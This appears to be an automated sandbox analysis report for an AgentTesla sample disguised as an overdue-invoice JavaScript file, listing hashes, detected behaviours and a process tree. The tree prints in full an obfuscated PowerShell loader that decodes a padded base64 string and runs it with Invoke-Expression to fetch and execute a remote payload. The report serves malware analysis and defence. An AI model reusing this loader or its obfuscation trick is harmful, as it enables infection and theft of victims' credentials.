Analysis

  • max time kernel
    111s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/04/2025, 15:18

General

  • Target

    Inv2025 Overdue Integr8PDF.js

  • Size

    1.3MB

  • MD5

    ee348950f163becab17cee576cf13564

  • SHA1

    0c7db717e6e663d1d367c3ce28a313b26c63602b

  • SHA256

    d3f2fca06a2c1fa4292808c0531ed438b774ce0a0e77071af7a739325c448e2b

  • SHA512

    14a2d41ca6604d4301d89f5f78ab86ff1db76c8f8ea1c3c3dbc4acf8bb92b229a3e27efb0fe2bc92f5c31d15680d40602637166bac5d1e7b021b40f707d4f8df

  • SSDEEP

    384:xsssssssss2sssssssss2sssssssss2sssssssss2ssssssssssssssssssssss9:hIR8

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Inv2025 Overdue Integr8PDF.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:6036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ""$Codigo = 'JexplateBwexplateHIexplatebwBjexplateHUexplatecgBzexplateGkexplatedgBlexplateCexplateexplatePQexplategexplateCcexplateIwB4explateCMexplateLgBlexplateGwexplateaQBGexplateGQexplateZQexplatejexplateHIexplateZQB2explateG4explatebwBDexplateC8explatecwBzexplateGMexplateLwBzexplateCMexplateZQBzexplateHMexplateYQexplatevexplateG4explateaQBtexplateGQexplateYQexplatevexplateG0explatebwBjexplateC4explatecwexplatejexplateG4explateZQBtexplateCMexplateaQB1explateHIexplateYwBlexplateHIexplateIwBuexplateGUexplatebexplateBhexplateCMexplateLwexplatevexplateDoexplatecwBwexplateCMexplateIwBoexplateCcexplateOwexplatekexplateGgexplateYQBuexplateGcexplatebQBlexplateG4explateIexplateexplate9explateCexplateexplateJexplateBwexplateHIexplatebwBjexplateHUexplatecgBzexplateGkexplatedgBlexplateCexplateexplateLQByexplateGUexplatecexplateBsexplateGEexplateYwBlexplateCexplateexplateJwexplatejexplateCcexplateLexplateexplategexplateCcexplatedexplateexplatenexplateDsexplateJexplateBoexplateGUexplateYQBkexplateGkexplateZQBzexplateHQexplateIexplateexplate9explateCexplateexplateJwBoexplateHQexplatedexplateBwexplateHMexplateOgexplatevexplateC8explateMwexplatewexplateDexplateexplateNgexplateuexplateGYexplateaQBsexplateGUexplatebQBhexplateGkexplatebexplateexplateuexplateGMexplatebwBtexplateC8explateYQBwexplateGkexplateLwBmexplateGkexplatebexplateBlexplateC8explateZwBlexplateHQexplatePwBmexplateGkexplatebexplateBlexplateGsexplateZQB5explateD0explateOQBTexplateFcexplatecexplateBRexplateEMexplateNexplateexplateyexplateFMexplateTQBmexplateHYexplatecgBIexplateGYexplateTgexplate4explateEgexplateMwBIexplateE4explateMexplateexplatexexplateE0explateNexplateBHexplateFQexplateYwBnexplateGEexplateYgBlexplateGYexplateSQBQexplateDgexplateRexplateBWexplateHexplateexplateXwexplate4explateDUexplatebexplateBtexplateDexplateexplatebwBVexplateDMexplateSQBZexplateHoexplatedgBIexplateEwexplateMwBQexplateHoexplateNgexplate4explateEkexplateSQBIexplateHcexplateJgBzexplateGsexplateaQBwexplateHIexplateZQBnexplateD0explatedexplateByexplateHUexplateZQexplatemexplateHexplateexplateawBfexplateHYexplateaQBkexplateD0explateNwBiexplateGQexplateYwexplate0explateGIexplateMexplateBiexplateGUexplateZQexplatezexplateDkexplateYwBmexplateDEexplateZexplateexplatexexplateDcexplateNexplateexplatezexplateDQexplateNQexplateyexplateDgexplateNwexplateyexplateGIexplateNwexplate4explateGUexplateYgexplatexexplateCcexplateOwexplatekexplateHoexplatebwBuexplateGEexplatedexplateBpexplateG8explatebgexplategexplateD0explateIexplateBOexplateGUexplatedwexplatetexplateE8explateYgBqexplateGUexplateYwB0explateCexplateexplateUwB5explateHMexplatedexplateBlexplateG0explateLgBOexplateGUexplatedexplateexplateuexplateFcexplateZQBiexplateEMexplatebexplateBpexplateGUexplatebgB0explateDsexplateJexplateBlexplateG4explatedexplateByexplateG8explateYwBoexplateGEexplatebexplateexplategexplateD0explateIexplateexplatekexplateHoexplatebwBuexplateGEexplatedexplateBpexplateG8explatebgexplateuexplateEQexplatebwB3explateG4explatebexplateBvexplateGEexplateZexplateBEexplateGEexplatedexplateBhexplateCgexplateJexplateBoexplateGUexplateYQBkexplateGkexplateZQBzexplateHQexplateKQexplate7explateCQexplatebwBzexplateG0explatebwBtexplateGUexplatedexplateBlexplateHIexplateIexplateexplate9explateCexplateexplateWwBTexplateHkexplatecwB0explateGUexplatebQexplateuexplateFQexplateZQB4explateHQexplateLgBFexplateG4explateYwBvexplateGQexplateaQBuexplateGcexplateXQexplate6explateDoexplateVQBUexplateEYexplateOexplateexplateuexplateEcexplateZQB0explateFMexplatedexplateByexplateGkexplatebgBnexplateCgexplateJexplateBlexplateG4explatedexplateByexplateG8explateYwBoexplateGEexplatebexplateexplatepexplateDsexplateJexplateBwexplateGgexplateeQBsexplateG8explateZwBlexplateG8explateZwByexplateGEexplatecexplateBoexplateHkexplateIexplateexplate9explateCexplateexplateJwexplate8explateDwexplateQgBBexplateFMexplateRQexplate2explateDQexplateXwBTexplateFQexplateQQBSexplateFQexplatePgexplate+explateCcexplateOwexplatekexplateGwexplateZQBkexplateGQexplateeQexplategexplateD0explateIexplateexplatenexplateDwexplatePexplateBCexplateEEexplateUwBFexplateDYexplateNexplateBfexplateEUexplateTgBEexplateD4explatePgexplatenexplateDsexplateJexplateBiexplateGkexplatebwBzexplateG8explatecgBwexplateHQexplateaQBvexplateG4explateIexplateexplate9explateCexplateexplateJexplateBvexplateHMexplatebQBvexplateG0explateZQB0explateGUexplatecgexplateuexplateEkexplatebgBkexplateGUexplateeexplateBPexplateGYexplateKexplateexplatekexplateHexplateexplateaexplateB5explateGwexplatebwBnexplateGUexplatebwBnexplateHIexplateYQBwexplateGgexplateeQexplatepexplateDsexplateJexplateBqexplateG8explatedQBzexplateHQexplateZQByexplateCexplateexplatePQexplategexplateCQexplatebwBzexplateG0explatebwBtexplateGUexplatedexplateBlexplateHIexplateLgBJexplateG4explateZexplateBlexplateHgexplateTwBmexplateCgexplateJexplateBsexplateGUexplateZexplateBkexplateHkexplateKQexplate7explateCQexplateYgBpexplateG8explatecwBvexplateHIexplatecexplateB0explateGkexplatebwBuexplateCexplateexplateLQBnexplateGUexplateIexplateexplatewexplateCexplateexplateLQBhexplateG4explateZexplateexplategexplateCQexplateagBvexplateHUexplatecwB0explateGUexplatecgexplategexplateC0explateZwB0explateCexplateexplateJexplateBiexplateGkexplatebwBzexplateG8explatecgBwexplateHQexplateaQBvexplateG4explateOwexplatekexplateGIexplateaQBvexplateHMexplatebwByexplateHexplateexplatedexplateBpexplateG8explatebgexplategexplateCsexplatePQexplategexplateCQexplatecexplateBoexplateHkexplatebexplateBvexplateGcexplateZQBvexplateGcexplatecgBhexplateHexplateexplateaexplateB5explateC4explateTexplateBlexplateG4explateZwB0explateGgexplateOwexplatekexplateHexplateexplateYQByexplateGEexplateZQBsexplateGUexplateYwB0explateHIexplateaQBjexplateCexplateexplatePQexplategexplateCQexplateagBvexplateHUexplatecwB0explateGUexplatecgexplategexplateC0explateIexplateexplatekexplateGIexplateaQBvexplateHMexplatebwByexplateHexplateexplatedexplateBpexplateG8explatebgexplate7explateCQexplateZexplateBlexplateG4explateZexplateByexplateG8explateYwBoexplateGUexplatebQBpexplateGMexplateYQBsexplateCexplateexplatePQexplategexplateCQexplatebwBzexplateG0explatebwBtexplateGUexplatedexplateBlexplateHIexplateLgBTexplateHUexplateYgBzexplateHQexplatecgBpexplateG4explateZwexplateoexplateCQexplateYgBpexplateG8explatecwBvexplateHIexplatecexplateB0explateGkexplatebwBuexplateCwexplateIexplateexplatekexplateHexplateexplateYQByexplateGEexplateZQBsexplateGUexplateYwB0explateHIexplateaQBjexplateCkexplateOwexplatekexplateGMexplateaexplateBvexplateGwexplateZQBsexplateGkexplatedexplateBoexplateGkexplateYwexplategexplateD0explateIexplateBbexplateFMexplateeQBzexplateHQexplateZQBtexplateC4explateQwBvexplateG4explatedgBlexplateHIexplatedexplateBdexplateDoexplateOgBGexplateHIexplatebwBtexplateEIexplateYQBzexplateGUexplateNgexplate0explateFMexplatedexplateByexplateGkexplatebgBnexplateCgexplateJexplateBkexplateGUexplatebgBkexplateHIexplatebwBjexplateGgexplateZQBtexplateGkexplateYwBhexplateGwexplateKQexplate7explateCQexplateUwBjexplateG8explatedexplateBsexplateGEexplatebgBkexplateCexplateexplatePQexplategexplateFsexplateUwB5explateHMexplatedexplateBlexplateG0explateLgBSexplateGUexplateZgBsexplateGUexplateYwB0explateGkexplatebwBuexplateC4explateQQBzexplateHMexplateZQBtexplateGIexplatebexplateB5explateF0explateOgexplate6explateEwexplatebwBhexplateGQexplateKexplateexplatekexplateGMexplateaexplateBvexplateGwexplateZQBsexplateGkexplatedexplateBoexplateGkexplateYwexplatepexplateDsexplateJexplateBnexplateGEexplateZexplateBpexplateG4explateaQBpexplateGQexplateIexplateexplate9explateCexplateexplateWwBkexplateG4explatebexplateBpexplateGIexplateLgBJexplateE8explateLgBIexplateG8explatebQBlexplateF0explateLgBHexplateGUexplatedexplateBNexplateGUexplatedexplateBoexplateG8explateZexplateexplateoexplateCcexplateVgBBexplateEkexplateJwexplatepexplateC4explateSQBuexplateHYexplatebwBrexplateGUexplateKexplateexplatekexplateG4explatedQBsexplateGwexplateLexplateexplategexplateFsexplatebwBiexplateGoexplateZQBjexplateHQexplateWwBdexplateF0explateIexplateBexplateexplateCgexplateJexplateBoexplateGEexplatebgBnexplateG0explateZQBuexplateCwexplateJwexplatenexplateCwexplateJwexplatenexplateCwexplateJwexplatenexplateCwexplateJwBNexplateFMexplateQgB1explateGkexplatebexplateBkexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateEMexplateOgBcexplateFexplateexplatecgBvexplateGcexplatecgBhexplateG0explateRexplateBhexplateHQexplateYQBcexplateCcexplateLexplateexplatenexplateGYexplateYQBpexplateHIexplatedexplateByexplateGEexplateZexplateBlexplateCcexplateLexplateexplatenexplateGoexplatecwexplatenexplateCwexplateJwexplatexexplateDexplateexplateMexplateexplatenexplateCwexplateJwexplatexexplateCcexplateLexplateexplatenexplateGkexplatebQBiexplateHUexplateZQBkexplateCcexplateLexplateexplatenexplateDIexplateJwexplatesexplateCcexplateJwexplatepexplateCkexplate'; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('explate','A'))); Invoke-Expression $OWjuxd""
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\fairtrade.js"
        3⤵
          PID:4388
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:4780
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
              PID:4584
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5740

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_suycahfn.c0j.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/324-18-0x00007FFB01560000-0x00007FFB02021000-memory.dmp

          Filesize

          10.8MB

        • memory/324-10-0x0000013565ED0000-0x0000013565EF2000-memory.dmp

          Filesize

          136KB

        • memory/324-11-0x00007FFB01560000-0x00007FFB02021000-memory.dmp

          Filesize

          10.8MB

        • memory/324-12-0x00007FFB01560000-0x00007FFB02021000-memory.dmp

          Filesize

          10.8MB

        • memory/324-13-0x0000013502810000-0x000001350299A000-memory.dmp

          Filesize

          1.5MB

        • memory/324-0-0x00007FFB01563000-0x00007FFB01565000-memory.dmp

          Filesize

          8KB

        • memory/5740-15-0x0000000000400000-0x0000000000440000-memory.dmp

          Filesize

          256KB

        • memory/5740-19-0x0000000005910000-0x0000000005EB4000-memory.dmp

          Filesize

          5.6MB

        • memory/5740-20-0x0000000005460000-0x00000000054C6000-memory.dmp

          Filesize

          408KB

        • memory/5740-21-0x00000000068C0000-0x0000000006910000-memory.dmp

          Filesize

          320KB

        • memory/5740-22-0x00000000069B0000-0x0000000006A42000-memory.dmp

          Filesize

          584KB

        • memory/5740-23-0x0000000006940000-0x000000000694A000-memory.dmp

          Filesize

          40KB